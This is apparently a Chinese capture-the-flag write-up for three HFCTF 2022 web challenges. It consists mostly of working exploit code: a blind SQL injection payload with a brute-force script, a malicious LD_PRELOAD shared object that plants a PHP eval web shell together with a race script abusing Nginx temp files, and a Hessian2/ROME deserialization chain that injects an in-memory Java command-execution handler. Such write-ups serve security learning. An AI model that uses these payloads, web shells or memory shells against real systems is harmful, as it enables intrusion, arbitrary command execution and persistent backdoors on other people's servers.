Web
babysql
It is a pure sql injection challenge. Login any account to get flag. Have fun with mysql 8. There is something useful in /hint.md.
提示:regexp
hind.md内容如下
CREATE TABLE `auth` (
`id` int NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
这里给出了sql表结构,将表的默认编码改为了utf8mb4
,并且设置了字符排序集COLLATE=utf8mb4_0900_ai_ci
。
MySQL 8.0 默认的是 utf8mb4_0900_ai_ci
,属于 utf8mb4_unicode_ci
中的一种,具体含义如下
- uft8mb4 表示用 UTF-8 编码方案,每个字符最多占4个字节
- 0900 指的是 Unicode 校对算法版本。(Unicode归类算法是用于比较符合Unicode标准要求的两个Unicode字符串的方法)
- ai指的是口音不敏感。也就是说,排序时e,è,é,ê和ë之间没有区别
- ci表示不区分大小写。也就是说,排序时p和P之间没有区别
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';
export class User {
id: number;
username: string;
}
function safe(str: string): string {
const r = str
.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();
return r;
}
@Injectable()
export class AuthService {
constructor(private connectionProvider: ConnectionProvider) {}
async validateUser(username: string, password: string): Promise<User> | null {
const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
const [rows] = await this.connectionProvider.use((c) => c.query(sql));
const user = rows[0];
if (user && user.password === password) {
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const { password, ...result } = user;
return result;
}
return null;
}
}
题目给出了后端的代码逻辑,由于我们的注入点在where后,由于题目在sq语句错误和账号密码错误时返回的状态码不同,可以考虑盲注。
SQL CASE WHEN语句
CASE语句有两种格式,分别如下
CASE [键] WHEN value1 THEN [返回值1]
WHEN value2 THEN [返回值2]
...
ELSE [返回值n]
END
CASE WHEN [条件1] THEN [返回值1]
WHEN [条件2] THEN [返回值2]
...
ELSE [返回值n]
END
#这种写法更加灵活
CASE语句只返回第一个符合条件的值,剩下的CASE部分将会被自动忽略。另外需要注意的是,THEN
和ELSE
后的返回值的类型需相同。
可以构造Payload
||case`password`regexp'^{payload}'COLLATE`utf8mb4_0900_as_cs`when'1'then~0+1+''else'0'end||'
这里需要将COLLATE设置为utf8mb4_0900_as_cs
(大小写敏感)。
首先通过regexp匹配password的字段,如果匹配成功返回1,否则返回~0+1+''
。在mysql中,~0
为最大整数,再加1就会造成数据溢出,从而sql语句错误。这就构造了整数溢出注入。
盲注脚本如下
import requests
import string
res = ''
for _ in range(1,100):
for i in string.ascii_letters + string.digits:
# if i in '!@$%^&_':
# i = '\\\\' + i
print(_, i, f"^{res+i}")
burp0_url = "http://47.107.231.226:38693/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.107.231.226:38693", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.107.231.226:38693/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
burp0_data = {"password": "aaaaaa", "username": f"'||case`password`regexp'^{res+i}'COLLATE`utf8mb4_0900_as_cs`when'1'then~0+1+''else'0'end||'"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if "Internal server error" in r.text:
res += i
print("[*]",res.replace("\\", ''), r.text)
break
if i == string.digits[-1]:
print("注入失败")
exit(0)
ezphp
写so文件包含Nginx缓存文件。题目给了如下代码
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
我们能够控制环境变量,并且执行了system函数。由于PHP的system函数也是新启动一个进程来执行命令,所以我们可以考虑使用LD_PRELOAD劫持系统函数操作。
由于中间件是Nginx,我们可以使用LFI的那些奇技淫巧中的Nginx Temp File Include技巧。向Nginx发送一个大文件,Nginx会将其缓存为fastcgi临时文件,接着我们去/proc包含该临时文件即可。
LD_PRELOAD劫持
LD_PRELOAD 是 Linux 系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。其功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
__attribute__
是 GNU C 里一种特殊的语法,语法格式为:__attribute__ ((attribute-list))
,若函数被设定为constructor
属性,则该函数会在main()函数执行之前被自动的执行。类似的,若函数被设定为destructor
属性,则该函数会在main()函数执行之后或者exit()被调用后被自动的执行。
__attribute__((constructor))
在加载共享库时就会运行。于是只要编写一个含__attribute__((constructor))
函数的共享库,然后在PHP中设置LD_PRELOAD
环境变量,并且有一个能 fork 一个子进程并触发加载共享库的函数被执行,那么就能执行任意代码。
首先制作一个恶意的so文件
//eval.c
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
被__attribute__ ((__constructor__))
修饰的函数,会在系统执行main函数之前被调用。
将其编译为so文件,并向其填充垃圾字符,使其符合Nginx缓存要求
gcc -shared -fPIC evil.c -o 2.so
(dd if=/dev/zero bs=1c count=500000||tr '\0' 'c')>>2.so
竞争脚本如下
import _thread
import time
import requests
url = "http://192.168.43.103:49154/"
def tr1():
while 1:
files = open("2.so", 'rb')
r=requests.post(url, data=files)
if '429' in r.text:
time.sleep(1)
def tr2(pid):
while 1:
for i in range(1,30):
response = requests.get(url+"/index.php?env=LD_PRELOAD=/proc/{}/fd/../../{}/fd/{}".format(pid,pid,i))
if '429' in response.text:
time.sleep(1)
print(str(i)+" Response body: %s" % response.content)
# time.sleep(2)
#爆破进程
def tr3():
for i in range(1,20):
_thread.start_new_thread( tr2,(i,))
try:
_thread.start_new_thread( tr1,())
_thread.start_new_thread(tr3, ())
except:
print("Error: 无法启动线程")
while 1:
pass
ezchain
题目给出了jar包以及Dockerfile等文件
version: '2.4'
services:
nginx:
image: nginx:1.15
ports:
- "0.0.0.0:8090:80"
restart: always
volumes:
- ./nginx.conf:/etc/nginx/conf.d/default.conf:ro
networks:
- internal_network
- out_network
web:
build: ./
restart: always
volumes:
- ./flag:/flag:ro
networks:
- internal_network
networks:
internal_network:
internal: true
ipam:
driver: default
out_network:
ipam:
driver: default
docker-compose.yml
中配置了internal: true
,导致机器无法出网
jar文件主类如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.ezchain;
import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;
import java.util.concurrent.Executors;
public class Index {
public Index() {
}
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new Index.MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
static class MyHandler implements HttpHandler {
MyHandler() {
}
public void handle(HttpExchange t) throws IOException {
String query = t.getRequestURI().getQuery();
Map<String, String> queryMap = this.queryToMap(query);
String response = "Welcome to HFCTF 2022";
if (queryMap != null) {
String token = (String)queryMap.get("token");
String secret = "HFCTF2022";
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var9) {
response = "oops! something is wrong";
}
} else {
response = "your token is wrong";
}
}
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public Map<String, String> queryToMap(String query) {
if (query == null) {
return null;
} else {
Map<String, String> result = new HashMap();
String[] var3 = query.split("&");
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
String param = var3[var5];
String[] entry = param.split("=");
if (entry.length > 1) {
result.put(entry[0], entry[1]);
} else {
result.put(entry[0], "");
}
}
return result;
}
}
}
}
Maven依赖如下
很明显,是利用Hessian2反序列化打ROME链。可以参考我之前的这一篇文章Java安全学习——Hessian反序列化漏洞。
源码分析
中间件
首先是中间件,这里使用的是Java原生的com.sun.net.HttpServer
类
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new Index.MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}
并且自己重写了一个MyHandler
用于处理请求
绕过Hash判断
if (queryMap != null) {
String token = (String)queryMap.get("token");
String secret = "HFCTF2022";
if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var9) {
response = "oops! something is wrong";
}
} else {
response = "your token is wrong";
}
}
这里要求我们找到一个和字符串HFCTF2022
不相等但是Hashcode相等的字符串。在此之前我们先来看看String类的Hashcode是如何被计算出来的
private int hash; // Default to 0
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
计算的关键就是for循环中的h = 31 * h + val[i]
,对字符串的每一个字符依次进行该运算。下面有几个例子
//97
"a".hashCode()
//97*31+98=3105
"ab".hahsCode()
//3105*31+99=96354
"abc".hashCode()
可以看到前面字符的hash值也会影响后续hash值,于是我们能够构造出如下等式
31*h1 + a[i] = 31*h2 = b[j]
(h1-h2)*31 = b[j]-a[i]
假如有字符串aa
,我们能够很容易计算出与之hash相等的另一字符串bB
//bB
31*97 + 97 = 31*(97+1) + 97-31 = 31*98 + 66 = 3104
后续字符串的hash也相等
//true
System.out.println("bBDDD".hashCode()=="aaDDD".hashCode());
因此本题想要构造出与HFCTF2022的hash相等的另一字符串,我们只需要找到与字符HF的hash相等的字符即可
//HF=Ge
72*31+70 = 71*31+101
结果为GeCTF2022
构造二次反序列化
这里我们直接用文章中构造好的Hessian2反序列化Payload
package Hessian2;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class Hessian2_SignedObject {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("target/classes/Hessian2/shell_Handler.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);
//此处写法较为固定,用于初始化SignedObject类
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap hashMap = makeMap(equalsBean, equalsBean);
System.out.println(new String(Base64.getEncoder().encode(Hessian2_Serial(hashMap))));
}
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
由于题目不出网,无法获得回显,所以关键就是如何在Java原生中间件HttpServer写入内存马,获取回显。
获取回显
我们知道,一般获取回显的方式是通过获取response对象,并将命令执行的结果写入response对象中的。下面我们就来分析一下如何拿到response对象。
对于一般运行中的程序,我们可以通过Thread.currentThread()
或者Thread.getThreads()
获取其线程对象,并且可以在线程中找到各种关于运行所需的上下文对象。
下面的工作就是实现一个恶意的handler,然后通过反射将其加载到内存中。
package Hessian2;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
public class shell_Handler extends AbstractTranslet implements HttpHandler {
static {
//获取当前线程
Object o = Thread.currentThread();
try {
Field groupField = o.getClass().getDeclaredField("group");
groupField.setAccessible(true);
Object group = groupField.get(o);
Field threadsField = group.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Object t = threadsField.get(group);
Thread[] threads = (Thread[]) t;
for (Thread thread : threads){
if(thread.getName().equals("Thread-2")){
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
Field thisField = target.getClass().getDeclaredField("this$0");
thisField.setAccessible(true);
Object this$0 = thisField.get(target);
Field contextsField = this$0.getClass().getDeclaredField("contexts");
contextsField.setAccessible(true);
Object contexts = contextsField.get(this$0);
Field listField = contexts.getClass().getDeclaredField("list");
listField.setAccessible(true);
Object lists = listField.get(contexts);
java.util.LinkedList linkedList = (java.util.LinkedList) lists;
Object list = linkedList.get(0);
Field handlerField = list.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
handlerField.set(list,new shell_Handler());
}
}
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String resp = "Success!\n";
String query = httpExchange.getRequestURI().getQuery();
String[] entry = query.split("=");
ByteArrayOutputStream bao = null;
if(entry[0].equals("cmd")){
InputStream inputStream = Runtime.getRuntime().exec(entry[1]).getInputStream();
bao = new ByteArrayOutputStream();
byte[] bytes = new byte[4096];
int n = 0;
while(-1 != (n = inputStream.read(bytes))){
bao.write(bytes,0,n);
}
}
resp += new String(bao.toByteArray());
httpExchange.sendResponseHeaders(200, (long)resp.length());
OutputStream os = httpExchange.getResponseBody();
os.write(resp.getBytes());
os.close();
}
}
然后将生成的恶意类发送给服务器
此时handler已经被替换成我们恶意的handler了